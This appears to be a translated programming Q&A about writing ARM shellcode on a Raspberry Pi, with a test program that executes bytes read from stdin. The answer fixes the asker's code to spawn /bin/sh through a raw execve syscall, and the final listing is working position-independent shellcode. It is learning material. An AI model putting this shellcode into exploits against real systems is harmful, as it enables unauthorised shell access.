首先,我对ARM的汇编不太熟悉。
基本上,我正在尝试编写类似于this的shellcode。该代码工作正常,但是我正在尝试进行一些修改以查看其工作方式。这是目标程序:
#include <stdio.h>
#include <string.h>
int main(){
char payload[34];
int len=fread(payload, 1, 34, stdin);
printf("Length: %d\n", len);
(*(void(*)()) payload) ();
}
我从该链接编译程序集,将shellcode切成一个文件,然后将其发送到stdin,如下所示:
(cat shellcode; echo ps) | ./target
哪种产量:
Length: 34
PID TTY TIME CMD
3565 pts/3 00:00:00 bash
3854 pts/3 00:00:00 sh
3856 pts/3 00:00:00 ps
当我对编写的Shellcode执行相同操作时,该程序挂起,占用了100%的CPU。如果我在gdb中经过足够的时间,就会一遍又一遍地得到以下内容:
(gdb) s
55 in dl-addr.c
这是我写的汇编代码:
.LC0:
.global main
main:
mov r2, #0
mov r1, #0
ldr r0, =string
bl execve
string:
.asciz "/bin/sh"
我正在Raspberry Pi上运行它。
谢谢!
答案 0 :(得分:1)
bl execve
试图调用'C'库execve
,而不是Linux syscall。使用
mov r7, #11
swi #0
代替writing ARM shellcode的bl execve
。另外,使用adr string
代替ldr =string
将节省四个字节,并使Shell代码更健壮(PIC)。
我将汇编代码修改为以下代码,并且可以正常工作!
.LC0:
.global main
main:
mov r2, #0
mov r1, #0
adr r0, string
mov r7, #11
swi #0
string:
.asciz "/bin/sh"